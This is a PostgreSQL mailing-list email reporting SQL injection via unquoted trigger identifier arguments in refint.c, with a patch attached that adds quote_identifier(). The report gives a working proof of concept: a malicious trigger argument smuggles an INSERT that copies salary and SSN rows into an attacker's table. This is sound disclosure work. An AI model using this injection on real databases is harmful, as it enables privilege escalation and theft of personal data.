Received: from malur.postgresql.org ([217.196.149.56]) by arkaria.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wVHqE-001qmE-2f for pgsql-bugs@arkaria.postgresql.org; Thu, 04 Jun 2026 23:51:15 +0000 Received: from localhost ([127.0.0.1] helo=malur.postgresql.org) by malur.postgresql.org with esmtp (Exim 4.96) (envelope-from ) id 1wVHqD-009MGo-2T for pgsql-bugs@arkaria.postgresql.org; Thu, 04 Jun 2026 23:51:13 +0000 Received: from magus.postgresql.org ([2a02:c0:301:0:ffff::29]) by malur.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wVHqD-009MGg-1O for pgsql-bugs@lists.postgresql.org; Thu, 04 Jun 2026 23:51:13 +0000 Received: from mail-yx1-xb136.google.com ([2607:f8b0:4864:20::b136]) by magus.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.98.2) (envelope-from ) id 1wVHqB-00000001KAt-1CMX for pgsql-bugs@lists.postgresql.org; Thu, 04 Jun 2026 23:51:13 +0000 Received: by mail-yx1-xb136.google.com with SMTP id 956f58d0204a3-66077e888b2so1595283d50.3 for ; Thu, 04 Jun 2026 16:51:11 -0700 (PDT) ARC-Seal: i=1; a=rsa-sha256; t=1780617070; cv=none; d=google.com; s=arc-20240605; b=e3s7P+OV1jo4dx7mNvN8h/BKsVMx60Zk5AVVGG2c0mD6+WuAwJ34ZXFk7WN7T+Hkb0 naXO0gqqtiZfyGVmAF3H+G4sHQy9qkW98msXSDHENMrx8jycduHU1oK3uYdPMaX20EhI /v573klNFNiIKpoaJrrYx/iT5QEHRoK4Kd1To/VBHjkKVzZLeiFU3e0WkoknG5gd9XzX ibfg243fDRVp5v8Fk5jMZYCTYNiBO7gvDp2usz9FTHW/ODSVkyRQe51gut/x0oDh+0WR Lm0Ow6tOV0vX+Y33/aZw7TIUjw+zdtdKhlPLCfMuuTIMcPYj+4rB7oN4d7c5+ZUuKofb MmUA== ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605; h=to:subject:message-id:date:from:in-reply-to:references:mime-version :dkim-signature; bh=SUZAdeDPDoLaK6mtzZS+RY7zFWxF1Q4Mug3DVaf1sr0=; fh=Za6rLgj9lDKMUO7i0yRXr80XpKsGEBXD82kJ3a1MTgY=; b=PYi1hwf+Y/cQVg/jSUqBklwBl7jd8NgehFaQXVLYx+oWeSZ0QalAgdmNofGPu8Lvhy MfjYowAlvujejNb0GSlRd8x/zsnuQM9rChe55CP6MsjruTKpTtPWcnNKl3+W8oCFA2hN mZ380fxnIvoko8YCqCR2jgr0D4/k6I8iuhnnVVDbl61dgUjoOnrgjO2aALfmyhG+l9RO 38shOsCpNUGKeaowuOC8TnE7q1UZyKqNwaVmDErQjoaHhKg7iI8mNzSfxwHUg0ESKnIT BCu/yzIKXACdd8kqUXJwW+Gz1IcLTbISO1FaTNZSA9Tq7g1Bq23Wr/a41wc4xyFPwzed ZQWw==; darn=lists.postgresql.org ARC-Authentication-Results: i=1; mx.google.com; arc=none DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1780617070; x=1781221870; darn=lists.postgresql.org; h=to:subject:message-id:date:from:in-reply-to:references:mime-version :from:to:cc:subject:date:message-id:reply-to; bh=SUZAdeDPDoLaK6mtzZS+RY7zFWxF1Q4Mug3DVaf1sr0=; b=PfUF/YIxFs5zhiyJ8DLG4X6Lt+C4C82Z2IhBiUjSm0vMnNiV2Hg8jgpC+3V40cukpS 7iSoGPEw00/GSU2WfLxTBFKT+PzKMp1D5m+a8R2Jo7NefTWb3rho7q/VTc4jGni0HqoR Ln689fvuH1hWJrMbqXn7OUX0Gf+asgBDEuyOGHiZv57uobuTiSp9c6Iz1jBQ0XOS2LDg NbFHQwSAhk4yQdmtbRzf9KGUgNatYzr8olSx6XpPp5XtVMNFBP7Jl09XpQHBlIUDwhdQ IcPQZI0WJNrgNiccUEgnNTenAF3Gham6u/25oJL1TpAwJ26eu1KfcR0B/f8tpwjMboG2 yaEw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1780617070; x=1781221870; h=to:subject:message-id:date:from:in-reply-to:references:mime-version :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id :reply-to; bh=SUZAdeDPDoLaK6mtzZS+RY7zFWxF1Q4Mug3DVaf1sr0=; b=W2X2JDkJs2Si08VkiLAm8phHumwwUBesvcO7p5myX4oDARfHddiVDd44qae3X2Mtbq V3f4ZrYXx+PdOmTz/XFMYYnq9ceNMw+kyaJ98QX+C7mIp4Cu/Wven8NJZL4OAdq1bLnW z8MQjBPrrYyt0OaYJHFIk+jd5hnayPzhfdEF84XLTuXMw7rsnSf6aJv6sltcmJoXV7Tz 4024yHJo7cUFKJ+IBs1cv9O0IwS0kOckpJGaelsPAKWZIhUZLu2rUKbaGZAs3b3hvtM9 bZn1QFImWL4SZfsQ5eDsEqW017+tGLVmw4PqfCxx0U9pRkgsxekrc1g/UtoFhrxBvZ8i rUSw== X-Forwarded-Encrypted: i=1; AFNElJ9lba651S+8JOu+iFsk+7PDN/QDNiV0GrNUBRM+8NH8TMpTdrBIZdpKWGaVUTrOzinNKDZ11nizVwHT@lists.postgresql.org X-Gm-Message-State: AOJu0YzFY1E01A40oY0gjiUy7f8Bpana9sWTClj4pn4AHwzHaxxoX6cu nfaJ4zyp1xWwMKypXkquNNDjaaXrjtcVQGI+PhD3/oD6ukxC+dGaO5VhyqR7uom10iZuHt2A3YL zhVSOUBGjhwxaJezBfhX+LeNbFA60GLs= X-Gm-Gg: Acq92OET/hIErHuQq+uZfUPzvBnFhmgNI8no/ql4Lt7Rmn9mbsWlKh8blLJwFhsry6K Ld6VxxzhvgeCVR+Es1oAKWWHDxgt9oYpe0jiorixr0pAtc+6S7XLeqQJQG/EyMNOE2nD1ulMZ2P XINXulTWP3I7H7WT4QrANwkjhgz7D3+XhRAWoE4ZUuJnGkMdrZhl/STjxDjCS2xDdkKOWEDr8JI MnwYHeNyO8n6csocopRTdRsu3Sp08MRn2QqaodIAzMPTvPViSCRq+vBUsmOmdU+u2DOhTN/9I19 7mzRIgfuNjQiLVwGGWMNSpQZ/7qj7oJ0IX5niBHHTPHg7FdDne3jS/K7WzAqHQg= X-Received: by 2002:a05:690e:4385:b0:652:ddea:1679 with SMTP id 956f58d0204a3-66106e57bb0mr699544d50.16.1780617069609; Thu, 04 Jun 2026 16:51:09 -0700 (PDT) MIME-Version: 1.0 References: <19510-953c48eaf669350b@postgresql.org> In-Reply-To: <19510-953c48eaf669350b@postgresql.org> From: Amjad Shahzad Date: Fri, 5 Jun 2026 04:50:52 +0500 X-Gm-Features: AVHnY4IJsfDcvh_7LmvFnf58JkpGztPjnsjHnbr4UH_PM-U8X0-2S_oVKOlDzM8 Message-ID: Subject: Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key To: amjadshahzad2000@gmail.com, pgsql-bugs@lists.postgresql.org Content-Type: multipart/mixed; boundary="000000000000ea7db3065376379b" List-Id: List-Help: List-Subscribe: List-Post: List-Owner: List-Archive: Archived-At: Precedence: bulk --000000000000ea7db3065376379b Content-Type: multipart/alternative; boundary="000000000000ea7db20653763799" --000000000000ea7db20653763799 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Hi, Patch attached for the issue reported above. Applies cleanly against master. All 9 unquoted identifier sites are fixed across bothcheck_primary_key() and check_foreign_key() usingquote_identifier(). Regards Amjad On Fri, Jun 5, 2026 at 4:34=E2=80=AFAM PG Bug reporting form wrote: > The following bug has been logged on the website: > > Bug reference: 19510 > Logged by: Amjad Shahzad > Email address: amjadshahzad2000@gmail.com > PostgreSQL version: 18.4 > Operating system: Ubuntu 24.04 x86_64 > Description: > > Both check_primary_key() and check_foreign_key() build SQL queries by > interpolating trigger arguments (table names and column names from > trigger->tgargs) directly into generated queries without quoting: > > appendStringInfo(&sql, "select 1 from %s where ", relname); > appendStringInfo(&sql, "%s =3D $%d ", args[i + nkeys], i); > > A user who owns a table that a higher-privileged session writes to can > place > injected SQL inside the table-name or column-name argument of the CREATE > TRIGGER call. When the privileged user INSERTs into the table, the inject= ed > SQL runs in that user's security context, giving the attacker read/write > access to tables they cannot directly access. > > Note: CVE-2026-6637 (commit 260e97733bf) fixed injection of data VALUES i= n > the cascade-UPDATE path via quote_literal_cstr(). This report covers the > separate, still-open issue of unquoted IDENTIFIER arguments (relname and > column names from tgargs) not addressed by that fix. Verified on master > commit 0392fb900eb. > > Affected versions: PG14, PG15, PG16, PG17, PG18, master. > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > PREREQUISITES > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > - Attacker owns a table (any table they created) > - A higher-privileged user has INSERT on that table > - contrib/spi module installed (CREATE EXTENSION spi) > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > STEPS TO REPRODUCE > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > -- STEP 1: Create roles > CREATE ROLE app_user LOGIN PASSWORD 'pass'; > CREATE ROLE attacker LOGIN PASSWORD 'pass'; > > -- STEP 2: Create sensitive table, only app_user can read it > CREATE TABLE salaries ( > id serial PRIMARY KEY, > emp_name text, > salary numeric, > ssn text > ); > INSERT INTO salaries VALUES > (1, 'Alice', 120000, '123-45-6789'), > (2, 'Bob', 95000, '987-65-4321'), > (3, 'Carol', 150000, '456-78-9012'); > GRANT SELECT ON salaries TO app_user; > > -- STEP 3: Attacker creates their table and a log for stolen data > SET ROLE attacker; > CREATE TABLE orders ( > id serial PRIMARY KEY, > customer_id int, > amount numeric > ); > CREATE TABLE stolen_data ( > info text, > stolen_at timestamptz DEFAULT now() > ); > GRANT INSERT ON orders TO app_user; > > -- STEP 4: Attacker creates malicious trigger using injected table name > CREATE EXTENSION spi; > CREATE TRIGGER evil_trigger > AFTER INSERT ON orders > FOR EACH ROW > EXECUTE FUNCTION check_primary_key( > 'customer_id', > 'customers LIMIT 0; INSERT INTO stolen_data(info) > SELECT emp_name || '' | '' || salary::text || '' | '' || ssn > FROM salaries; --', > 'id' > ); > -- Result: CREATE TRIGGER (no error) > > -- STEP 5: app_user does normal inserts (no idea anything is wrong) > SET ROLE app_user; > INSERT INTO orders (customer_id, amount) VALUES (1, 500.00); > INSERT INTO orders (customer_id, amount) VALUES (2, 300.00); > INSERT INTO orders (customer_id, amount) VALUES (3, 750.00); > -- Result: INSERT 0 1 (three times, looks normal) > > -- STEP 6: Attacker reads stolen data > SET ROLE attacker; > SELECT * FROM stolen_data; > > -- Output: > -- info | stolen_at > -- ------------------------------+-------------------------- > -- Alice | 120000 | 123-45-6789 | 2026-05-21 16:10:50+05 > -- Bob | 95000 | 987-65-4321 | 2026-05-21 16:10:50+05 > -- Carol | 150000 | 456-78-9012 | 2026-05-21 16:10:50+05 > -- (3 rows) > > -- STEP 7: Confirm attacker still has no direct access > SELECT * FROM salaries; > -- ERROR: permission denied for table salaries > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > THE FIX > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Wrap every relname and column-name interpolation with quote_identifier(): > > -- BEFORE > appendStringInfo(&sql, "select 1 from %s where ", relname); > > -- AFTER > appendStringInfo(&sql, "select 1 from %s where ", > quote_identifier(relname)); > > 9 sites total across both functions. > > > --000000000000ea7db20653763799 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Hi,

Patch attached for the issue reported above.
Applies cleanly against master.
All 9 unquoted identifier sites are= fixed across bothcheck_primary_key() and check_foreign_key() usingquote_id= entifier().

Regards
Amjad

On Fri, Jun 5, 2026 at 4:34=E2=80= =AFAM PG Bug reporting form <noreply@postgresql.org> wrote:
The following bug has been logged on= the website:

Bug reference:=C2=A0 =C2=A0 =C2=A0 19510
Logged by:=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 Amjad Shahzad
Email address:=C2=A0 =C2=A0 =C2=A0 amjadshahzad2000@gmail.com
PostgreSQL version: 18.4
Operating system:=C2=A0 =C2=A0Ubuntu 24.04 x86_64
Description:=C2=A0 =C2=A0 =C2=A0 =C2=A0

Both check_primary_key() and check_foreign_key() build SQL queries by
interpolating trigger arguments (table names and column names from
trigger->tgargs) directly into generated queries without quoting:

=C2=A0 =C2=A0 appendStringInfo(&sql, "select 1 from %s where "= ;, relname);
=C2=A0 =C2=A0 appendStringInfo(&sql, "%s =3D $%d ", args[i + = nkeys], i);

A user who owns a table that a higher-privileged session writes to can plac= e
injected SQL inside the table-name or column-name argument of the CREATE TRIGGER call. When the privileged user INSERTs into the table, the injected=
SQL runs in that user's security context, giving the attacker read/writ= e
access to tables they cannot directly access.

Note: CVE-2026-6637 (commit 260e97733bf) fixed injection of data VALUES in<= br> the cascade-UPDATE path via quote_literal_cstr(). This report covers the separate, still-open issue of unquoted IDENTIFIER arguments (relname and column names from tgargs) not addressed by that fix. Verified on master
commit 0392fb900eb.

Affected versions: PG14, PG15, PG16, PG17, PG18, master.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
PREREQUISITES
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
- Attacker owns a table (any table they created)
- A higher-privileged user has INSERT on that table
- contrib/spi module installed (CREATE EXTENSION spi)

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
STEPS TO REPRODUCE
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-- STEP 1: Create roles
CREATE ROLE app_user LOGIN PASSWORD 'pass';
CREATE ROLE attacker=C2=A0 LOGIN PASSWORD 'pass';

-- STEP 2: Create sensitive table, only app_user can read it
CREATE TABLE salaries (
=C2=A0 =C2=A0 id=C2=A0 =C2=A0 =C2=A0 =C2=A0serial PRIMARY KEY,
=C2=A0 =C2=A0 emp_name text,
=C2=A0 =C2=A0 salary=C2=A0 =C2=A0numeric,
=C2=A0 =C2=A0 ssn=C2=A0 =C2=A0 =C2=A0 text
);
INSERT INTO salaries VALUES
=C2=A0 =C2=A0 (1, 'Alice', 120000, '123-45-6789'),
=C2=A0 =C2=A0 (2, 'Bob',=C2=A0 =C2=A0 95000, '987-65-4321')= ,
=C2=A0 =C2=A0 (3, 'Carol', 150000, '456-78-9012');
GRANT SELECT ON salaries TO app_user;

-- STEP 3: Attacker creates their table and a log for stolen data
SET ROLE attacker;
CREATE TABLE orders (
=C2=A0 =C2=A0 id=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 serial PRIMARY KEY,
=C2=A0 =C2=A0 customer_id int,
=C2=A0 =C2=A0 amount=C2=A0 =C2=A0 =C2=A0 numeric
);
CREATE TABLE stolen_data (
=C2=A0 =C2=A0 info=C2=A0 =C2=A0 =C2=A0 text,
=C2=A0 =C2=A0 stolen_at timestamptz DEFAULT now()
);
GRANT INSERT ON orders TO app_user;

-- STEP 4: Attacker creates malicious trigger using injected table name
CREATE EXTENSION spi;
CREATE TRIGGER evil_trigger
AFTER INSERT ON orders
FOR EACH ROW
EXECUTE FUNCTION check_primary_key(
=C2=A0 =C2=A0 'customer_id',
=C2=A0 =C2=A0 'customers LIMIT 0; INSERT INTO stolen_data(info)
=C2=A0 =C2=A0 =C2=A0SELECT emp_name || '' | '' || salary::t= ext || '' | '' || ssn
=C2=A0 =C2=A0 =C2=A0FROM salaries; --',
=C2=A0 =C2=A0 'id'
);
-- Result: CREATE TRIGGER=C2=A0 (no error)

-- STEP 5: app_user does normal inserts (no idea anything is wrong)
SET ROLE app_user;
INSERT INTO orders (customer_id, amount) VALUES (1, 500.00);
INSERT INTO orders (customer_id, amount) VALUES (2, 300.00);
INSERT INTO orders (customer_id, amount) VALUES (3, 750.00);
-- Result: INSERT 0 1=C2=A0 (three times, looks normal)

-- STEP 6: Attacker reads stolen data
SET ROLE attacker;
SELECT * FROM stolen_data;

-- Output:
--=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0info=C2=A0 =C2=A0 =C2=A0 =C2=A0 = =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 =C2=A0 =C2=A0 =C2=A0 stolen_at
-- ------------------------------+--------------------------
--=C2=A0 Alice | 120000 | 123-45-6789 | 2026-05-21 16:10:50+05
--=C2=A0 Bob=C2=A0 =C2=A0| 95000=C2=A0 | 987-65-4321 | 2026-05-21 16:10:50+= 05
--=C2=A0 Carol | 150000 | 456-78-9012 | 2026-05-21 16:10:50+05
-- (3 rows)

-- STEP 7: Confirm attacker still has no direct access
SELECT * FROM salaries;
-- ERROR:=C2=A0 permission denied for table salaries

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
THE FIX
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Wrap every relname and column-name interpolation with quote_identifier():
=C2=A0 =C2=A0 -- BEFORE
=C2=A0 =C2=A0 appendStringInfo(&sql, "select 1 from %s where "= ;, relname);

=C2=A0 =C2=A0 -- AFTER
=C2=A0 =C2=A0 appendStringInfo(&sql, "select 1 from %s where "= ;,
quote_identifier(relname));

9 sites total across both functions.


--000000000000ea7db20653763799-- --000000000000ea7db3065376379b Content-Type: application/x-patch; name="v1-fix-refint-identifier-injection.patch" Content-Disposition: attachment; filename="v1-fix-refint-identifier-injection.patch" Content-Transfer-Encoding: base64 Content-ID: X-Attachment-Id: f_mq051hw50 ZGlmZiAtLWdpdCBhL2NvbnRyaWIvc3BpL3JlZmludC5jIGIvY29udHJpYi9zcGkvcmVmaW50LmMK aW5kZXggNDg1MTJhNjY0ZDIuLjBlN2YyYzAzM2M0IDEwMDY0NAotLS0gYS9jb250cmliL3NwaS9y ZWZpbnQuYworKysgYi9jb250cmliL3NwaS9yZWZpbnQuYwpAQCAtMTc5LDEwICsxNzksMTAgQEAg Y2hlY2tfcHJpbWFyeV9rZXkoUEdfRlVOQ1RJT05fQVJHUykKIAkJICogQ29uc3RydWN0IHF1ZXJ5 OiBTRUxFQ1QgMSBGUk9NIF9yZWZlcmVuY2VkX3JlbGF0aW9uXyBXSEVSRSBQa2V5MSA9CiAJCSAq ICQxIFtBTkQgUGtleTIgPSAkMiBbLi4uXV0KIAkJICovCi0JCWFwcGVuZFN0cmluZ0luZm8oJnNx bCwgInNlbGVjdCAxIGZyb20gJXMgd2hlcmUgIiwgcmVsbmFtZSk7CisJCWFwcGVuZFN0cmluZ0lu Zm8oJnNxbCwgInNlbGVjdCAxIGZyb20gJXMgd2hlcmUgIiwgcXVvdGVfaWRlbnRpZmllcihyZWxu YW1lKSk7CiAJCWZvciAoaSA9IDE7IGkgPD0gbmtleXM7IGkrKykKIAkJewotCQkJYXBwZW5kU3Ry aW5nSW5mbygmc3FsLCAiJXMgPSAkJWQgIiwgYXJnc1tpICsgbmtleXNdLCBpKTsKKwkJCWFwcGVu ZFN0cmluZ0luZm8oJnNxbCwgIiVzID0gJCVkICIsIHF1b3RlX2lkZW50aWZpZXIoYXJnc1tpICsg bmtleXNdKSwgaSk7CiAJCQlpZiAoaSA8IG5rZXlzKQogCQkJCWFwcGVuZFN0cmluZ0luZm9TdHJp bmcoJnNxbCwgImFuZCAiKTsKIAkJfQpAQCAtNDUyLDcgKzQ1Miw3IEBAIGNoZWNrX2ZvcmVpZ25f a2V5KFBHX0ZVTkNUSU9OX0FSR1MpCiAJCQkgKi0tLS0tLS0tLQogCQkJICovCiAJCQlpZiAoYWN0 aW9uID09ICdyJykKLQkJCQlhcHBlbmRTdHJpbmdJbmZvKCZzcWwsICJzZWxlY3QgMSBmcm9tICVz IHdoZXJlICIsIHJlbG5hbWUpOworCQkJCWFwcGVuZFN0cmluZ0luZm8oJnNxbCwgInNlbGVjdCAx IGZyb20gJXMgd2hlcmUgIiwgcXVvdGVfaWRlbnRpZmllcihyZWxuYW1lKSk7CiAKIAkJCS8qLS0t LS0tLS0tCiAJCQkgKiBGb3IgJ0MnYXNjYWRlIGFjdGlvbiB3ZSBjb25zdHJ1Y3QgREVMRVRFIHF1 ZXJ5CkBAIC00NzksNyArNDc5LDcgQEAgY2hlY2tfZm9yZWlnbl9rZXkoUEdfRlVOQ1RJT05fQVJH UykKIAkJCQkJY2hhcgkgICAqbnY7CiAJCQkJCWludAkJCWs7CiAKLQkJCQkJYXBwZW5kU3RyaW5n SW5mbygmc3FsLCAidXBkYXRlICVzIHNldCAiLCByZWxuYW1lKTsKKwkJCQkJYXBwZW5kU3RyaW5n SW5mbygmc3FsLCAidXBkYXRlICVzIHNldCAiLCBxdW90ZV9pZGVudGlmaWVyKHJlbG5hbWUpKTsK IAkJCQkJZm9yIChrID0gMTsgayA8PSBua2V5czsgaysrKQogCQkJCQl7CiAJCQkJCQlmbiA9IFNQ SV9mbnVtYmVyKHR1cGRlc2MsIGFyZ3NfdGVtcFtrIC0gMV0pOwpAQCAtNDg3LDcgKzQ4Nyw3IEBA IGNoZWNrX2ZvcmVpZ25fa2V5KFBHX0ZVTkNUSU9OX0FSR1MpCiAJCQkJCQludiA9IFNQSV9nZXR2 YWx1ZShuZXd0dXBsZSwgdHVwZGVzYywgZm4pOwogCiAJCQkJCQlhcHBlbmRTdHJpbmdJbmZvKCZz cWwsICIgJXMgPSAlcyAiLAotCQkJCQkJCQkJCSBhcmdzMltrXSwKKwkJCQkJCQkJCQkgcXVvdGVf aWRlbnRpZmllcihhcmdzMltrXSksCiAJCQkJCQkJCQkJIG52ID8gcXVvdGVfbGl0ZXJhbF9jc3Ry KG52KSA6ICJOVUxMIik7CiAJCQkJCQlpZiAoayA8IG5rZXlzKQogCQkJCQkJCWFwcGVuZFN0cmlu Z0luZm9TdHJpbmcoJnNxbCwgIiwgIik7CkBAIC00OTYsNyArNDk2LDcgQEAgY2hlY2tfZm9yZWln bl9rZXkoUEdfRlVOQ1RJT05fQVJHUykKIAkJCQl9CiAJCQkJZWxzZQogCQkJCQkvKiBERUxFVEUg Ki8KLQkJCQkJYXBwZW5kU3RyaW5nSW5mbygmc3FsLCAiZGVsZXRlIGZyb20gJXMgd2hlcmUgIiwg cmVsbmFtZSk7CisJCQkJCWFwcGVuZFN0cmluZ0luZm8oJnNxbCwgImRlbGV0ZSBmcm9tICVzIHdo ZXJlICIsIHF1b3RlX2lkZW50aWZpZXIocmVsbmFtZSkpOwogCQkJfQogCiAJCQkvKgpAQCAtNTA3 LDEwICs1MDcsMTAgQEAgY2hlY2tfZm9yZWlnbl9rZXkoUEdfRlVOQ1RJT05fQVJHUykKIAkJCSAq LwogCQkJZWxzZSBpZiAoYWN0aW9uID09ICdzJykKIAkJCXsKLQkJCQlhcHBlbmRTdHJpbmdJbmZv KCZzcWwsICJ1cGRhdGUgJXMgc2V0ICIsIHJlbG5hbWUpOworCQkJCWFwcGVuZFN0cmluZ0luZm8o JnNxbCwgInVwZGF0ZSAlcyBzZXQgIiwgcXVvdGVfaWRlbnRpZmllcihyZWxuYW1lKSk7CiAJCQkJ Zm9yIChpID0gMTsgaSA8PSBua2V5czsgaSsrKQogCQkJCXsKLQkJCQkJYXBwZW5kU3RyaW5nSW5m bygmc3FsLCAiJXMgPSBudWxsIiwgYXJnczJbaV0pOworCQkJCQlhcHBlbmRTdHJpbmdJbmZvKCZz cWwsICIlcyA9IG51bGwiLCBxdW90ZV9pZGVudGlmaWVyKGFyZ3MyW2ldKSk7CiAJCQkJCWlmIChp IDwgbmtleXMpCiAJCQkJCQlhcHBlbmRTdHJpbmdJbmZvU3RyaW5nKCZzcWwsICIsICIpOwogCQkJ CX0KQEAgLTUyMCw3ICs1MjAsNyBAQCBjaGVja19mb3JlaWduX2tleShQR19GVU5DVElPTl9BUkdT KQogCQkJLyogQ29uc3RydWN0IFdIRVJFIHF1YWwgKi8KIAkJCWZvciAoaSA9IDE7IGkgPD0gbmtl eXM7IGkrKykKIAkJCXsKLQkJCQlhcHBlbmRTdHJpbmdJbmZvKCZzcWwsICIlcyA9ICQlZCAiLCBh cmdzMltpXSwgaSk7CisJCQkJYXBwZW5kU3RyaW5nSW5mbygmc3FsLCAiJXMgPSAkJWQgIiwgcXVv dGVfaWRlbnRpZmllcihhcmdzMltpXSksIGkpOwogCQkJCWlmIChpIDwgbmtleXMpCiAJCQkJCWFw cGVuZFN0cmluZ0luZm9TdHJpbmcoJnNxbCwgImFuZCAiKTsKIAkJCX0K --000000000000ea7db3065376379b--